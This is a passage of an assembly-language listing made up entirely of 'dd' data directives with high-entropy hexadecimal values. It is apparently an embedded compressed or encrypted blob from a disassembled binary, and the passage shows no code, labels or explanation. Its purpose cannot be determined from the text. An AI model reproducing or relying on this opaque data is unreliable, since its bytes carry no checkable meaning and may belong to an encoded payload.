64706CD3h, 0D11412FEh, 48DDB617h dd 0D58D4A47h, 0CCFF81Bh, 2C3556E0h, 8F2C23D8h, 45092746h dd 5CF95905h, 9091DE0Ch, 95FBB0B2h, 35B5FCB0h, 25E7284Ah dd 0DE525DE0h, 0E9130E0Ch, 3FA81B0Dh, 9992369Dh, 0FEF2B07Dh dd 73FC8616h, 16ACA7E9h, 7EE9128Ch, 0EC9CE0F1h, 2185E74Bh dd 0CBB6DBAAh, 4564F5E9h, 0A4BCA3B6h, 9D41F345h, 96001065h dd 0B11393BBh, 63C14120h, 8BECCD71h, 451B97D9h, 0B0DB9C04h dd 981682Bh, 96BC863h, 6F784860h, 9B1FF3Ch, 5986B337h dd 254B1F4h, 658288A8h, 6D901A32h, 4DDDAC8Bh, 0F8F2C32Dh dd 236194E0h, 0BFDBA601h, 4B01138Fh, 0C88F9A6Bh, 0F0B9C71Dh dd 0B5AEF67Dh, 31124607h, 1D6401E7h, 2561D1E0h, 355C4CB7h dd 0E8100871h, 4B043686h, 54117C2Dh, 33A3E5A8h, 14233E84h dd 8497E27h, 51250959h, 0D75327BDh, 30859D04h, 0A4BD3BABh dd 2551E6C1h, 0B2C0DE5Eh, 6FB05F22h, 0D32FF902h, 0DE602618h dd 0CD7D400Eh, 0FC01786Ch, 184D88FDh, 0DBD4AB50h, 5C0C08F6h dd 5918A0F3h, 0B90EA98Ch, 7C85E62Ch, 0E38152C0h, 52AAB3A7h dd 11CDF309h, 0F7DB3F27h, 0F3E88680h, 8D2F9509h, 4229BA2Fh dd 0BDA17AABh, 1459245Bh, 62271D36h, 0D9736282h, 146C2356h dd 96E31274h, 26A7B30Eh, 111BB7FCh, 8C1FC75h, 7A91983Ah dd 0C06E0005h, 5FFE4F5Ah, 4A5B9796h, 1278B78h, 0ED0B85D6h dd 3AA449C6h, 0ED18D1Dh, 0BB028B46h, 4C78584Eh, 5769AC56h dd 8E9049D1h, 9A59F8C9h, 70A5DBEBh, 0FD014895h, 8870BFFCh dd 252B7EF9h, 916FEBA4h, 0CDC76600h, 12398D31h, 0E48B6DBDh dd 3B23601Ch, 0B9570286h, 326C5F6Eh, 420336D9h, 0E05A7035h dd 0FDFAD0B8h, 0E6E9B844h, 0AEC28312h, 0C2E095F6h, 1D0B5429h dd 0DE05BC79h, 0AF0847F2h, 6C8BDF00h, 0DCE4F5BEh, 0FFC4374Ah dd 33B8DFE9h, 5EA66C00h, 57DD60E4h, 98ED90F6h, 7A56BF44h dd 2D298D85h, 5068CAAAh, 0AE4A7066h, 5F0BEDCCh, 0B8752BDh dd 62E1B9BEh, 9BF67B6Ah, 589D82F0h, 0D6715B19h, 0A26A5152h dd 0BC1F9330h, 5D92CD04h, 0D3762ABh, 0B0140F20h, 124D008Ah dd 0D3959886h, 3558DDDEh, 8C6804EFh, 35AB7D20h, 6F590723h dd 5348F0C6h, 115B3772h, 0E09252FEh, 92C49657h, 3F29193Dh dd 0AB256F6Eh, 1495D766h, 413845B5h, 21F6D34h, 41D78650h dd 955F78F3h, 0B12831F7h, 0F277956Bh, 8E7E0020h, 20DEEC21h dd 1F95392Ch, 0C403D34Ch, 9FBF4DB9h, 0ECD0D3B0h, 0DB76DB34h dd 0C0DE9EEBh, 54019261h, 0E50C04F5h, 0C2307D3Eh, 38FD1131h dd 7964D4h, 9AFF3A95h, 0B406547Ch, 0F6877F2Fh, 0EABDC544h dd 0DA6A4BE1h, 0C017C83Dh, 8596DF3Ah, 54117995h, 148A2948h dd 12D11CCCh, 0E4B72C61h, 0B99F92Ch, 695C0B7Dh, 9E3F6571h dd 0D97FC3CDh, 201498CBh, 97F704C2h, 90F19D2Bh, 0F9BD2922h dd 0D8A8185Ah, 0A061A6B5h, 56FE9D5h, 0EB614CD8h, 653CFCD0h dd 8AECC6D9h, 0C48AA292h, 8AFE8C0Fh, 407101DEh, 0F9B438B5h dd 171B73Bh, 0A5D704DAh, 52BD8E9h, 0ADC18B86h, 0ECBB8FAh dd 86D70FB1h, 9C3E22A1h, 85F36A2Ch, 0F6458C4Fh, 21A96607h dd 0A570EFB5h, 87B8D15h, 0CE8DDE0h, 1FCAED80h, 7F51AFB0h dd 2FDAB74Eh, 618D0112h, 0A95BD34Eh, 0B5D5F5h, 42821491h dd 0D25C5090h, 0B1465240h, 911D0EBCh, 96890BD5h, 57491F5Ch dd 7F807971h, 7417D3BCh, 0D3FA9FA6h, 0D074F397h, 4C091612h dd 0FD086667h, 80EE2091h, 49D7810Ch, 0C25F3E0Dh, 181211F4h dd 5D2FAB58h, 9610DF01h, 0D154BBFh, 5C6090h, 0D9DE77EAh dd 0CC25E4h, 0F1844AEEh, 0B1E53AFBh, 8A5E0804h, 0BEAC61EAh dd 0DFE7BF02h, 0C35647A7h, 8E9B9097h, 1BB75580h, 31988CA9h dd 67226925h, 601AE4BCh, 0AAD0ED0h, 2132AAB3h, 0C9401D8Bh dd 0BDD557CCh, 0A5D909B3h, 0B381D959h, 0B8F0FDEh, 5886E2Ch dd 0CE31BB8Fh, 59B976A3h, 0A86FFDD2h, 0D6320971h, 0BA0934DAh dd 0FF5B9960h, 0BC76D159h, 231497CDh, 0E4DE8A5Eh, 0BD3337C0h dd 0DBA931DDh, 454A2002h, 0BF1E90F2h, 4C169BCDh, 0C8F9004h dd 6450852h, 4FE466A5h, 81E5DB90h, 231D4676h, 0C8042733h dd 0FB5D065Fh, 9059B98Ch, 0B03E0295h, 37AE68F4h, 0AD9361E0h dd 146423h, 0DA72F0BBh, 904BE92Ch, 1B104D8Eh, 0F2C44612h dd 377776D3h, 0AAF86571h, 6A6A53DDh, 27C95A02h, 64385721h dd 0AECA7C12h, 5A691BB0h, 0E457AC15h, 0CA801E9h, 0E2E03A00h dd 0ED8EF2ABh, 7E09978Bh, 1221BF7Dh, 0DB67AE41h, 912FBF70h dd 7EF89562h, 4F20B925h, 173405Ah, 1707C52Bh, 6375EC46h dd 0C4045695h, 5F09287Dh dd 30088573h, 9D030701h, 6049A881h, 255DDE47h, 0C4C70E6h dd 0E47CD70Ah, 9912B971h, 323FA3BFh, 5CF55108h, 0E353128Dh dd 0A2F85B87h, 44572A25h, 0AC92012h, 0B339C19Dh, 0E80BE46Ch dd 0A3D53E91h, 8911BFCCh, 0EB2A7628h, 3CB09242h, 728055F5h dd 899D01D1h, 19FF7295h, 0E30D698Dh, 0FBA72EBFh, 0EEEC5100h dd 7B2BAFAAh, 0CB71D600h, 3C5372D7h, 5B751774h, 1C3DACFCh dd 44174E49h, 95398CAFh, 0B76B2962h, 7A35C7Ah, 4BE19D0Bh dd 249575Ch, 7550A612h, 8280706Eh, 9FC81FF5h, 0B662B470h dd 0ADC94A8Bh, 0E2B04A87h, 5957D90Fh, 0B464A5D3h, 823A4C45h dd 0B45C1309h, 29300553h, 4A2BED9Dh, 32709593h, 53D6D84Eh dd 0EFE95540h, 512A0109h, 0E0BA5623h, 7EA56662h, 90DE5C00h dd 0B46B4319h, 0C8AE8C2h, 58E9E2FEh, 5B4B616Ch, 4172E398h dd 40D7FE8Fh, 97A4B7F5h, 0FC8A9818h, 11E7B912h, 2BA546D1h dd 5B33E62Ah, 4B02B76Ah, 5A09BF67h, 40981663h, 5FD5FC41h dd 7EB82583h, 99F6FCFCh, 98261C17h, 0EC3AC9EFh, 884B01E7h dd 0EC614120h, 1B7B001Eh, 0CA63D6EDh, 1F503AB5h, 6294BAF8h dd 0B9AB8E44h, 0CFADD323h, 0D6D36D80h, 0A65A9FB9h, 2EFDC6A9h dd 0DD8A6F60h, 0A57205C9h, 0EF3AC63Ch, 95C5BE0Ah, 12CBD6B1h dd 9B880DCCh, 8FB8F0AFh, 3DBA850Bh, 2D0AFF3Bh, 0E71088Ch dd 0C73B6625h, 19F2D374h, 73B7BBE4h, 9D927846h, 90A16802h dd 6311EC62h, 0DD0D9F8Dh, 0E62AD9DDh, 0CB842953h, 6BC36525h dd 83B35EF0h, 0D44B78h, 56699C11h, 24F9B501h, 14BB97C2h dd 518A5CD6h, 2DC41625h, 48542B71h, 850FE950h, 1881834h dd 9E13FFFh, 0AC0D7996h, 291DE2AAh, 0A9703CF3h, 137400F2h dd 32C2BDC1h, 0E7A87709h, 149750FCh, 6FA6E74Fh, 0A0D0B46h dd 8663F0D1h, 7AEFA5B8h, 7A640091h, 76AD636Fh, 0BB600248h dd 8A7501Ch, 0ED25255Ch, 1A77CB4Dh, 956482DAh, 21915523h dd 27C37050h, 5B0883Eh, 2DBD095Fh, 0FC5598AAh, 0A5B651D6h dd 0A564E3E0h, 99957E09h, 1399C148h, 0F52B722Eh, 91AEB5D5h dd 507D8514h, 4C7E20BEh, 0DE09A323h, 70DD2A6Dh, 0CB80121Ch dd 0C67AAB6Bh, 0DDA9AA00h, 0B268EDA6h, 0F04A9377h, 704D7380h dd 9D0F4A75h, 0A8BF6932h, 734F0085h, 0D2434AD7h, 803E3F22h dd 108CCBDBh, 49C30281h, 0E967EAF7h, 6EE1B9F8h, 572A4D20h dd 429A00EDh, 0A208756Bh, 0B200211Ch, 0AB04FED4h, 501D6A4Ch dd 400DC73Fh, 57955F2Dh, 918D3198h, 81A8195Eh, 76D6BB5h dd 0DC8AE976h, 79FD6D52h, 22850023h, 0DF317A8h, 594C802h dd 0D7D88D20h, 95F181Ah, 0BF3E58C8h, 1480B93Dh, 0F4E4E2DBh dd 171136Ch, 0FF06FEB9h, 25E710F9h, 7105D19Dh, 4771AB61h dd 8D1CF4B4h, 0DB900155h, 9779B8C5h, 99ABD8BBh, 9EC10200h dd 0F1986244h, 40A7BCA7h, 1D5EB118h, 0B2A8B01h, 0B75F47F8h dd 808D4CE2h, 803119C5h, 0C1279D33h, 0D4CE5601h, 317A1646h dd 39F29176h, 1067BB0Bh, 502D1A01h, 6A00CC71h, 0CD4CE4FAh dd 0AAE1E865h, 0F185F5Eh, 5A5F8A37h, 0CCEE6595h, 9AA129E0h dd 6B26A1Eh, 0A197A6D3h, 0BE2027A8h, 4C9EFE65h, 1A489290h dd 0A8635B7Eh, 9AC7543Dh, 6F80BF09h, 827B5950h, 32059D09h dd 8AAA5B05h, 9FA6A09Ah, 0C8ED058Dh, 0ECC55174h, 3E0D8001h dd 585AC2D5h, 191719C9h, 10B3A21Ah, 90002375h, 3AF101BFh dd 523C505Ch, 9D898F5Bh, 2BC72CDh, 777D7DAEh, 0A9D6DF05h dd 0C1AB1C96h, 2E3EE2A9h, 0B850522Ch, 0D7120A8h, 5ACA5B4Ah dd 0B7704838h, 767AC3DBh, 3DE9631Bh, 0B1B91A4Bh, 8A022CBCh dd 589F7DBFh, 75625C19h, 40AD56C9h, 35B62B3Ch, 16A50C00h dd 65967F3Dh, 80E94F3Fh, 0F58531FBh, 0DADE074Ah, 0EE444A89h dd 0D05F0201h, 0D284BD3Bh, 0E62DAD30h, 5D149703h, 6F04AB27h dd 0F8EA401Eh, 40B7A88Ch, 48A7F377h, 79B322CDh, 236E654Eh dd 0C1911100h, 0F7D39C13h, 22A29E13h, 18AC5BF9h, 0C1CD048Ch dd 0B9EB67B7h, 0A4A6D797h, 2861B7A1h, 1FD84AB7h, 0C85B95D9h dd 5061BD09h, 0C8965E7Ah, 0A7009155h, 8BA071FDh, 0B857CFh dd 7F480798h, 1451B5CBh, 83D7E200h, 0A54BF50h, 96302E8Ch dd 0B10EDE35h, 3F3174E8h, 370CBFC5h, 0ACF90983h, 0EED6EDA9h dd 0A6AA1034h, 10417D94h, 5560EA2Bh, 0AC33EAE7h, 0D6BB0482h dd 0B82EDC34h, 82B3D2A6h, 59BD2B04h, 0FC6FBF01h, 0B2001623h dd 0CF801D55h, 4D0A97C6h, 0A905DE0Fh, 191B8763h, 0DEFF3284h dd 5B48C07Bh, 3B0FB5C1h, 0B74AEF0Bh, 8EE94F3Bh, 840354ACh dd 0D687F8CBh, 5CEB9225h, 0B1FB2F4Eh, 52BD1D8h, 9EF1B1B5h dd 0AF618474h, 5591D5FCh, 3500A5ACh, 80ACFCB9h, 0F4A341h dd 8DD781DDh, 311A40EBh, 14ED9512h, 57A3E29h, 0E323ABCFh dd 800F1212h, 294D8CAAh, 9DB4B558h, 343B41E7h, 0B28CFF04h dd 0B380002Eh, 47A3DAAFh, 6016372h, 0EB699B99h, 6E3F9698h dd 46E7043Ch, 0ECA8A8BCh, 0CB69BB80h, 17009BEFh, 708C0CCh dd 4415178h, 7E70D902h, 0BDB19CBAh, 5911B125h, 84035C5Fh dd 63C6E795h, 0EF81B8FAh, 0B7A612CDh, 8EB0E243h, 87B91361h dd 0F57405E8h, 878DE90Bh, 5D819A96h, 71492E76h, 60A600E6h dd 0B3FE3D8Fh, 0F1214D00h, 505F676Eh, 0C9B79F96h, 0BDBBD107h dd 0D5F520F2h, 6E40A115h, 0A3A12Dh, 0FE2CCBBh, 29CF815Ah dd 21F29601h, 0BDF58060h, 9FC7C9CCh, 0AD251850h, 6D4DD705h dd 0BD3148E0h, 2F710272h, 0B1F4579Bh, 6C254378h, 5A917302h dd 7CFECF3Ah, 0F352D86Bh, 71B18903h, 0D5742E20h, 246201B3h dd 0DA5C14B1h, 0B257CC73h, 3E007A10h, 0DC27E18Eh, 4B2584Eh dd 5E297CA5h, 0D4BDB805h, 7023C0C7h, 0FE267D8h, 2E760B38h dd 0AD437EEFh, 0C6823135h, 0CAD07CDBh, 54510075h, 0D47DBAC5h dd 4F915E53h, 5DBD4A80h, 0E953F81h, 2E5783BFh, 61515F49h dd 0FFF21324h, 66092FDAh, 716A56BFh, 38AC2F8h, 84005729h dd 0FFF352E9h, 0CB0AA5BFh, 0AF30D5A1h, 0A6215A05h, 28C700A5h dd 0C989770h, 44C6053Eh, 0AD26C0CAh, 8D890BD1h, 559DEA71h dd 58B5530h, 9805288h, 905BD0D7h, 5FE91A75h, 23F9108Bh dd 7216D083h, 538E809Ch, 34646AB8h, 0F255E909h, 0F66A5ED3h dd 9075F35Ah, 0C8E1694h, 83F99B09h, 6A894DCAh, 0C023DB3Fh dd 0B908C243h, 205D9049h, 8C801CF5h, 18762166h, 5C06CC4h dd 1FB873ADh, 4F29FF12h, 230B48ECh, 372599BDh, 50EFC390h dd 0B8E2F9A4h, 0D2C8240Bh, 7258840Ah, 6E8CAB6Ah, 0EAF50002h dd 0DC89777Bh, 0B31E0308h, 5BD7E380h, 7AEB4817h, 0F1A37F4Fh dd 0F6B98FD0h, 5C968227h, 8A7BEB54h, 2707C650h, 1D7CA5D6h dd 11852960h, 2B6EB524h, 6C40D69Eh, 571F497h, 0FF557219h dd 6EDBC2D1h, 32F7615Fh, 25C0CE2Ah, 0F6DADC42h, 5F6E529Fh dd 2FA0E66h, 8A16E4B5h, 0B718C2DCh, 54D46FFh, 0A9751202h dd 0B745DC56h, 7DE9DA12h, 708455E3h, 16233E21h, 0A440FA01h dd 6B2ED88Ah, 0B152351h, 0DAC2CF9Dh, 133C8275h, 272774C9h dd 0D84E7CECh, 85D1D4FCh, 0D216DB5Eh, 0F557A0ABh, 80F98603h dd 25FD8A54h, 0D556B786h, 475F9E4h, 0EB0965B2h, 0E65A288Bh dd 165AA3C6h, 0BFF6AD2h, 9B59AD85h, 0D723090Eh, 0F45937BBh dd 18E90331h, 0B8BB8401h, 0F5B0C962h, 2BF99E02h, 0F870E600h dd 0F7113E4h, 80EFE283h, 42C7652Eh, 9A7F9596h, 0B9EE7FA9h dd 4C84F84Bh, 0D3A8F712h dd 20681CAh, 16FD9D03h, 652B31DFh, 0DCAAD8E7h, 9AC80263h dd 0B0ABF85Fh, 0CB812EC0h, 0C5142A09h, 858723Fh, 1D82443Ch dd 5E51ADh, 9D691579h, 2D0E738Dh, 0C529C3D4h, 329034A5h dd 2BFC82Bh, 7BA26016h, 3F5D18Bh, 0FC094F1Fh, 7FE99F91h dd 0FF2F7A63h, 0E9321E0Eh, 0B4C01286h, 417C9AAh, 0D12CC2B9h dd 1BCE31D5h, 1277F912h, 1DC687h, 892C7495h, 0D914668Bh dd 364F8200h, 75317092h, 0FE6C9516h, 1E47FDECh, 80002C22h dd 2EBF8AF3h, 9578EEEAh, 85847A5Bh, 132421F5h, 0C28B7765h dd 14D534E1h, 0A15920B9h, 0B4420B94h, 0FFB571Ch, 1C05DDC9h dd 0F07EAF0Bh, 48D5FC07h, 2F8E5BBDh, 7B751BC9h, 4075BE6Ah dd 0CA25B915h, 2703BD10h, 0C6856454h, 919456E5h, 5D6D5FFh dd 0BC3EBE11h, 3239120Bh, 166207B6h, 2B001F09h, 12BFBBD2h dd 0E63CA3C7h, 7F6BD21Fh, 8DE3DE17h, 0CD8C024Dh, 5DDA9057h dd 60599D01h, 4583ED49h, 0C753AF17h, 0E80BF287h, 0B71AA12Fh dd 0D0C0D115h, 560A2E4h, 757AAA2Bh, 441EC181h, 2A70C986h dd 17B2FFA6h, 31227130h, 69B6A11Ch, 0F6CB2A0Bh, 8C34AED2h dd 0ACDF34FBh, 5EA6A211h, 352EF66Bh, 4E008363h, 1738DEF4h dd 48909743h, 1B005AE4h, 1A9DA4E2h, 12501CE3h, 56EAAD8Fh dd 803F9E3Bh, 50D51412h, 10F8032Eh, 23CE4960h, 2980E870h dd 1B4525BDh, 0ED6BD759h, 6CF74B59h, 0F9030AE2h, 8B3E1FFh dd 31120785h, 7116AA09h, 49EC392h, 136FEE84h, 0A5CAF30Fh dd 3A7CE3ABh, 0F50DE127h, 858F282Eh, 9574508Ah, 3F278C94h dd 0D04D5304h, 2792DA19h, 91200541h, 4BB99AADh, 806ADB60h dd 57FA8F07h, 84764B3Dh, 0B977FDAFh, 99E62DCh, 8CA4B327h dd 6DBFAA70h, 0D997C0DDh, 67094033h, 72AD6BDAh, 11320BFh dd 237D8180h, 61D80381h, 0A3399709h, 0F5A73052h, 5F4B659Ah dd 0E347FAEh, 0A9D749EBh, 4DC453h, 89BB8DD5h, 7F7CF378h dd 0A2C9F00h, 0F8DFFC92h, 0D989952Bh, 0F2ADD95Dh, 0ABC2B556h dd 33427DFCh, 0EF4A3DEh, 0AF32A042h, 1DD96ABh, 0C13468FCh dd 4A8A4160h, 0CBD1B0DDh, 0CB2DC23Ch, 0D0E0E0B6h, 0EB4BC1B9h dd 572F6AAEh, 0E20C02B7h, 87C4705Fh, 55F9E1F5h, 0E9FC10B8h dd 0C9021927h, 0AE21DEB2h, 0F968CC7Fh, 55D61297h, 47817237h dd 0E8FA6679h, 0F35289A7h, 3D9518E0h, 5ACC80FFh, 59251B33h dd 9E4ABF04h, 0B4B845D1h, 0A5C8B0D2h, 6BDE0541h, 57C88574h dd 613040B1h, 6FA92AE3h, 0A886BD92h, 0ED895BF4h, 5D1BC3Ah dd 859531BEh, 0F460EE0Eh, 492EE3h, 982B1E5Ch, 24BB1240h dd 3D3EA507h, 30997F97h, 25BD89D8h, 0E8C41BFDh, 9FE67A9Fh dd 52F66710h, 77442900h, 56BCD408h, 83CB09ADh, 879B5h dd 0DA642514h, 8F814D00h, 0F77CAB54h, 83D197A1h, 0C07BCD2Dh dd 36E4548Ah, 5C05C92Dh, 0AF341C9Eh, 95C3ED74h, 0F0D54E25h dd 0FB974CEDh, 3F6DD983h, 5D40CF0h, 684618Fh, 19428164h dd 0AE33A12h, 0CF448896h, 0E1D9D500h, 0DB3E9B78h, 39E8021Ch dd 50AF9AB8h, 9F4DE6D5h, 7B02D073h, 8764796Fh, 5010604Dh dd 1CEFBA58h, 0B9716155h, 8D3872DDh, 0C1BCA95Eh, 355BBB66h dd 0E89038AFh, 8202D6AAh, 0EFC83EB6h, 0B8AF60BEh, 0FCF6070Bh dd 0D9E39C43h, 6A82AE89h, 680C228Dh, 0AC8B5A90h, 351A6588h dd 630B29AFh, 0CCA0078h, 0FB044ED0h, 8489004Fh, 0C64472EEh dd 1313CB81h, 0CA163253h, 4100436Fh, 0C660E70Fh, 1627F486h dd 7AD8562Eh, 1408B557h, 4901A5D8h, 3B8546AEh, 0BD3A3010h dd 72225495h, 29BC9964h, 467B3B40h, 77EC1D88h, 0FDD58140h dd 2321E9A7h, 16852E4Dh, 0C235D5A5h, 447617D9h, 0ACA70A00h dd 15BF667Dh, 92ADFF4Eh, 0B0B1AEA4h, 0C231B10Fh, 0F6CF8027h dd 0FC9241F9h, 7A2F8EE5h, 71911748h, 0CF8A2AAAh, 0B8F72732h dd 66851310h, 0E74EB5BEh, 4021CD97h, 77EFD7BEh, 0A43D4D09h dd 25E9D996h, 0A1D0277Fh, 5E748F10h, 0C1C7026Ah, 92938169h dd 50A54975h, 0B98CFD2Bh, 0FE1403DCh, 38600059h, 0D3E78139h dd 414BF288h, 7317FAAh, 6C39F45Fh, 8ADF71E9h, 0C9C7CEB7h dd 0CBE0A218h, 0B185F400h, 0E23BFFA1h, 5A491E84h, 0DEC2A58Eh dd 0F469F65Dh, 20422549h, 0E3811F15h, 0D9B4968h, 46D6885Ch dd 4F100019h, 463C25D4h, 0FA64BD0Bh, 9C972C4h, 4D4AF740h dd 0C69C2CACh, 7DC78269h, 25097A2Fh, 6B731769h, 6B58CC2Bh dd 56E525F4h, 0EF801BE0h, 34AAFA4Ah, 0F5F2BA90h, 0A7B88616h dd 7605B0B6h, 0AA153F70h, 0DD8AEA0Ch, 0F3258048h, 0D05E5458h dd 15F919Dh, 27BD2CE9h, 80FD00E9h, 0F8FC05A8h, 3AD413DEh dd 80F4B896h, 0D342DD3h, 6AD0573h, 0B05BC7B3h, 0E2B840Ch dd 26583A96h, 0B664015Eh, 0D0B2E598h, 0F5272AB4h, 0C6E3A450h dd 0EAF96257h, 145D3069h, 0E9FD800Dh, 0BF159728h, 41C449C0h dd 0B8552E3Fh, 0F527890Ch, 4544BD71h, 0AC2C857h, 16D42A00h dd 729561CEh, 9D729599h, 0D7963625h, 0DC2A4818h, 50651807h dd 0CDF9F98Ah, 1A38C3AEh, 8C726513h, 0B912FAA7h, 599F3710h dd 81E03E5Ch, 294125D3h, 2E1E0BFEh, 0A3844088h, 5D95BF49h dd 769B290h, 2DA00300h, 0BD292AB3h, 0FF45B5D9h, 0DB50105h dd 258056B0h, 43C59ADFh, 86FC5B17h, 0F35607C9h, 29B5555Ah dd 5FA33200h, 988EC8Bh, 0C6B68142h, 5CAD49BDh, 0CD25B89Ch dd 419F2150h, 2D2EF5B0h, 0BDB5041Bh, 0A5E91283h, 6E6F18E1h dd 0EFDD0064h, 2FC9D0BDh, 5F543D23h, 0F8513AF2h, 0E801A9CAh dd 7300429h, 0BB563910h, 5B25CBE2h, 7F642C6h, 4EC137C1h dd 23C4A7EBh, 0F881A04Ch, 2144B590h, 52DE8A25h, 83B7BF3Fh dd 8B606889h, 2A5D7E5h, 0B1DEAA61h, 0ACCCA9Eh, 5C678060h dd 0FE906DDCh, 0F5E4A861h, 1E391830h, 81BE3CBCh, 5EA90512h dd 601374B8h, 0B6E38A0Fh, 6D9AD71Eh, 5D97ACC4h, 0F0307890h dd 0DB26B109h, 38DEF424h, 61265B40h, 1A603E90h, 48795A4h dd 8291402Dh, 0BA30AED7h, 0EBBAC65h, 34B9BD4Eh, 0B736DD40h dd 90125F66h, 0E304FC60h, 0BDBE2349h, 1D97F877h, 46368ECDh dd 7A19FFCFh, 73F9EFA1h, 0FC8A1239h, 845F55E3h, 0AADF9417h dd 1B23FA6Bh, 652D2A07h, 7ABB08F0h, 37B70D3Ch, 0CD86D1FFh dd 46382E22h, 0B509888Bh, 0DF4B1D5Fh, 80693702h, 3164EF0Eh dd 0C8007901h, 0BB9034C0h, 26D64985h, 117E502Eh, 0CC204F1Ah dd 6F5F67h, 56C83F7Eh, 0D1AF3001h, 8B6B7805h, 0B48066A8h dd 165B7420h, 2AFA8A90h, 4E80DEF7h, 454D8FF0h, 93C62517h dd 9B4002D6h, 2669F911h, 2F128129h, 0FF592AFEh, 4BFA624h dd 23BEE216h, 0ABE68560h, 18BA3621h, 6157CA40h, 0E55497F9h dd 87D0B5E9h, 11E86579h, 40AD9215h, 805A128Bh, 4D57DB26h dd 0AD4425h, 722CE70Bh, 4FAD12EAh, 0D77C8B05h, 0ACF690EDh dd 4F8498E0h, 0C1E3F84Ah, 21B58913h, 2EDE8B5Ch, 3BDB8A65h dd 0B8EB4981h, 2F0D304Ch, 13EA5D12h, 0DB0264F2h, 877E075Eh dd 12022441h, 6B4EF557h, 95F046B5h, 0BDF7C0A9h, 1E0D02E5h dd 1BF7076Ah, 60FFC1C1h, 0F8CBB84Ch, 75AD00B0h, 40C57A9Ah dd 104851B9h, 2F8D16F1h, 5A313088h, 0E829BD23h, 4E2C02E3h dd 98460BE8h, 6CC4F95Ch, 2479FE58h, 0F06FB081h, 320015FEh dd 70E66F14h, 12805160h, 0FC5E44C4h, 28AE97A1h, 0A7742155h dd 9409D7ECh, 78615AF8h, 48B2215h, 833141A0h, 2B08A697h dd 0D1E9BF83h, 0F9BE1405h dd 61562F94h, 5B021B40h, 0FC4B98DDh, 0C4FA074Ah, 2088FFB8h dd 3F127CD8h, 28F3C48h, 0C7E6A2Fh, 6B7457A4h, 299D8D61h dd 63119D6Bh, 80F438E4h, 9D6859FCh, 3F88F876h, 0C08350FEh dd 87548BE7h, 8674C19Ah, 0EC370A98h, 0E57F00E2h, 646B534Fh dd 0FD9539EDh, 0B8556A92h, 8015F15Eh, 67B1C82Bh, 0E041268Fh dd 3846ABB6h, 5D58092Fh, 3758AF4Eh, 3A5FDC89h, 1A22ECB2h dd 4E608744h, 7495AE09h, 0F0C7BF82h, 0E840B521h, 69EC8949h dd 942CAB6h, 55710928h, 0E5BB6687h, 45517A19h, 12604227h dd 707C62Ch, 4977BBE3h, 0A794C0FBh, 404C7C46h, 2B510070h dd 61C38B66h, 0F959B5E9h, 0D5161989h, 575CF9BAh, 0E6522244h dd 27513F4Fh, 9F32E682h, 439519E1h, 6E25536Ch, 857773FEh dd 0BA17B223h, 13C2B79Bh, 4057A6F2h, 0ECE78121h, 512E2EAFh dd 4B12F6BAh, 4FF30329h, 0B9284748h, 0E63AE1B5h, 0DA3CF012h dd 0D9F10E32h, 0E8D68485h, 4BAED088h, 7286EAAh, 0EE5ED03Ch dd 95842ED1h, 4811568h, 0F8903DE1h, 0EB006C86h, 0FBC7F4BDh dd 4AC6320h, 9D03A719h, 5FC0F011h, 4ECFC4Ah, 404FB2D2h dd 6D03AEABh, 950920FFh, 90BD84C9h, 10813262h, 0A4856D75h dd 1D8508B2h, 0A45B228h, 4618DF6Ch, 4E520840h, 0EEDE0BBCh dd 47770019h, 9367AF16h, 569733F8h, 4FC6521Ch, 0C188907h dd 95E015BEh, 2BDF4C3h, 0F2D964D7h, 0EA7D70C4h, 0EC9734Bh dd 0ABD34585h, 1C236A6Fh, 63977100h, 280E95D5h, 4838D98h dd 387CC781h, 0AD70BCF5h, 98EF308Eh, 0E117E692h, 0E0D4FCA0h dd 0BDC02507h, 66178BE5h, 0E2EC16B9h, 35FA2507h, 0BF57E818h dd 0D3D72F1h, 495C5D30h, 0A94E3082h, 5979E937h, 8030D685h dd 0E0EEDF8Ah, 0EC2D5495h, 414B2B76h, 4B254BCAh, 40ACEF5Fh dd 0D44A1EEDh, 0BFE1760Bh, 1D9F0243h, 56C6E5h, 12B8010Eh dd 29E37D03h, 45DE4B00h, 8F65667Ah, 20635F68h, 1106AB20h dd 6DF13E0Eh, 0C9038293h, 51715E28h, 20FB140Ch, 56C3EFE4h dd 0E09D9A04h, 7BBCD02Fh, 0B9A5BCA3h, 0B1488092h, 1F2D5EEh dd 4DF79888h, 0CCD876BDh, 0CAC46053h, 48BC19F3h, 2F56E5Ah dd 63F092B6h, 475657FCh, 0F8205A58h, 362409B6h, 48755309h dd 8C2B81E2h, 24B7385Ah, 86A49B0h, 6E715125h, 1DED2D14h dd 0D45A365Ch, 0D907D436h, 0D4D0127Fh, 422830F2h, 396DD51Eh dd 0F11BB869h, 0BF73996h, 598EE60Ah, 19810BCBh, 0E0809671h dd 5A9FBD6Ch, 97571004h, 1A224E39h, 88DC55EFh, 0E2EB5047h dd 0D44C011h, 0B34FA032h, 8168007Ch, 0BFA5828Eh, 0C1252C6Ch dd 9635879h, 5A9C757Eh, 53C0CE6Dh, 0E85F0Ah, 21866D22h dd 8935BB74h, 4DB5D070h, 60186485h, 2F43B888h, 95564FF8h dd 0B0EADE2h, 59859A75h, 0F9A6000Bh, 565F9860h, 140A8F6h dd 79851231h, 0C137BD23h, 25FD8D29h, 7D412D2Fh, 6EA81Ch dd 5ADD3561h, 37422E3Ah, 31AAE14Ah, 3ADABFC9h, 0E9D73AB2h dd 201A870h, 0F08D241h, 8B100383h, 977395F8h, 0F9181759h dd 47B7A112h, 339A81EAh, 1024E9BDh, 4BD1B660h, 0EAF98461h dd 15E2EDA6h, 96D8F7B0h, 1C309097h, 0A88D3CF0h, 3ECCD582h dd 0E8F79D23h, 3CBF5F23h, 30A4B8BCh, 9A108F7h, 97196801h dd 123A0FB1h, 0E6BEF05Dh, 13AE943Dh, 7EFB858Dh, 0D91A01D0h dd 75086E98h, 0F1E88242h, 1620D241h, 0F03AFCFFh, 0CCA95B00h dd 9DB51B2h, 0CC4000Eh, 582E818Ah, 0BE16665Ah, 47E95E07h dd 0E067E64Bh, 2F7BC83h, 3AD99C61h, 5957A42Bh, 85010254h dd 0FB5C207Dh, 65870FE2h, 40D59CEBh, 689F9BB7h, 61728B93h dd 2480D9BDh, 25A538EFh, 0B7C034D5h, 520588B5h, 2CAB5A82h dd 4E1406Dh, 0C253FCBAh, 20EB5BDh, 0BD774AE9h, 0FF0827Ah dd 3382078Bh, 0F5240189h, 75F147C2h, 97762A67h, 330BF360h dd 29BD0109h, 1E9C5530h, 372C6245h, 0BD7C7980h, 0E3019DEFh dd 7B858609h, 6FE8FCB8h, 5239EEACh, 3EC4CFF3h, 0F8DEEA04h dd 23956880h, 0A9977D3Ah, 244FD50Fh, 